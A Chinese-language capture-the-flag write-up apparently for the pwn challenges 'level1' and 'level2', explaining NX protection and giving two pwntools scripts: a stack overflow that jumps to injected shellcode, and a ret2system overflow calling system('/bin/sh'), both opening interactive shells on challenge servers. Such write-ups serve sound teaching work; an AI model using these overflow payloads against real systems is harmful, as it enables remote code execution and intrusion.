pwn level1、level2

level1

首先查一下保護狀態:
在這裏插入圖片描述
什麼是 NX 保護

最早的緩衝區溢出攻擊,直接在內存棧中寫入 shellcode 然後覆蓋 EIP 指向這段 shellcode 去執行,所以 NX 即 No-eXecute (不可執行) 的基本原理是將數據所在內存頁標識爲不可執行,當程序溢出成功轉入 shellcode 時,程序會嘗試在數據頁面上執行指令,此時 CPU 就會拋出異常,而不是去執行惡意指令。

IDA反彙編,但這次沒有找到system函數了,那麼該怎麼得到shell呢,發現這個函數調用了printf函數,輸出了buf的地址,在結合NX保護是關閉的,那麼就意味着,如果將shellcode寫到buf中,函數返回時跳轉到buf位置,就可以執行shellcode了,示意圖如下:
在這裏插入圖片描述寫的腳本如下:

 1 from pwn import *                                                                                                  
  2 
  3 conn=remote("pwn2.jarvisoj.com","9877")
  4 shellcode_addr=conn.recvuntil('?',drop=True)
  5 shellcode_addr=int(shellcode_addr[12:],16)
  6 pad=0x88
  7 shellcode=asm(shellcraft.sh())
  8 payload=shellcode.ljust(pad,'A')+"BBBB"+p32(shellcode_addr)
  9 conn.sendline(payload)
 10 conn.interactive();

跑腳本和腳本具體內容這裏不再詳細敘述,可以看以下內容

level2

下載文件之後馬上查一下保護,NX爲打開狀態,NX爲文件保護的一種方式。
在這裏插入圖片描述
用IDA打開進行反彙編,找溢出點。
在這裏插入圖片描述看到很顯眼的system後,於是想着是否可以通過控制調用system(“/bin/sh”)得到shell,將返回地址用system的地址覆蓋,將傳入參數設置成”/bin/sh”,用ida查找了一下字符串,剛好發現了”/bin/sh”,記下地址。

邏輯示意圖:
在這裏插入圖片描述
注意不能在vulnerable函數的返回地址後面直接跟參數,我們需要模擬call system函數的過程,在這個過程中call有一步是將下一條指令的地址壓棧,所以我們需要構造一個假的返回地址,當然這個內容隨意。寫得腳本如下:

  1 from pwn import *    #導入pwntools中的pwn包的所有內容
  2 conn=remote("111.198.29.45","36506")  #鏈接服務器遠程交互,等同於nc、ip端口命令
  3 e=ELF("./level2")   #以ELF文件格式讀取level2文件
  4 sys_addr=e.symbols['system']  #獲取ELF文件中system標記的地址
  5 pad=0x88
  6 sh_addr=e.search("/bin/sh").next()
  7 payload="A"*pad+"BBBB"+p32(sys_addr)+"dead"+p32(sh_addr )
  8 conn.sendline(payload)  #發送payload
  9 conn.interactive();   #反彈shell進行交互
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章